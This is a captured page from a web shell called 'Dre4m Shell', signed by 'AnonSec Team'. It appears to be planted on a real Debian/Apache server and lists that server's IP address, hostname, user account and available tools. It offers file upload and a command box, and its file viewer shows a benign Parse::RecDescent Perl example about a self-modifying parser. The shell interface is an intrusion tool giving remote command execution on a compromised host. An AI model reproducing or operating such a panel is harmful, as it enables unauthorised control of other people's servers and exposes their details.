Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 216.73.216.27
Web Server : Apache/2.4.65 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 8.2.29
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/3/root/proc/3/task/3/root/usr/share/doc/libparse-recdescent-perl/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/3/root/proc/3/task/3/root/usr/share/doc/libparse-recdescent-perl/examples/demo_selfmod.pl
#!/usr/bin/perl -sw

# A SELF-MODIFYING**2 PARSER

use Parse::RecDescent;

$grammar =
q{
	type_defn : 'only' <commit> "$::keyword" is type_name ';'
		       { $thisparser->Replace("type_name: '$item[5]'");
			  print "\"$item[5]\" is now the only valid type name\n";
		       }

		  | "$::keyword" <commit> identifier(s) is type_name /('?s)?/ ';'
		       { my $newnames = join " | ", map { "'$_'" } @{$item[3]};
			  $thisparser->Extend("type_name: $newnames");
			  print "added $newnames as type name(s)\n";
		       }

		  | /change\s+$::keyword\s+to/ identifier
		       { $::keyword = $item[2];
			  print "changed $item[0] keyword to: $item[2]\n";
		       }

		  | <error>

	is        : /is|are/

	type_name : 'int' | 'float'

	identifier: ...!is ...!"$::keyword" ...!type_name /[A-Za-z]\w*/

};

use vars qw { $keyword };

$keyword = "type";

$parse = new Parse::RecDescent ($grammar);

while (<>)
{
	$parse->type_defn($_) or print "huh?\n";
}

Anon7 - 2022
AnonSec Team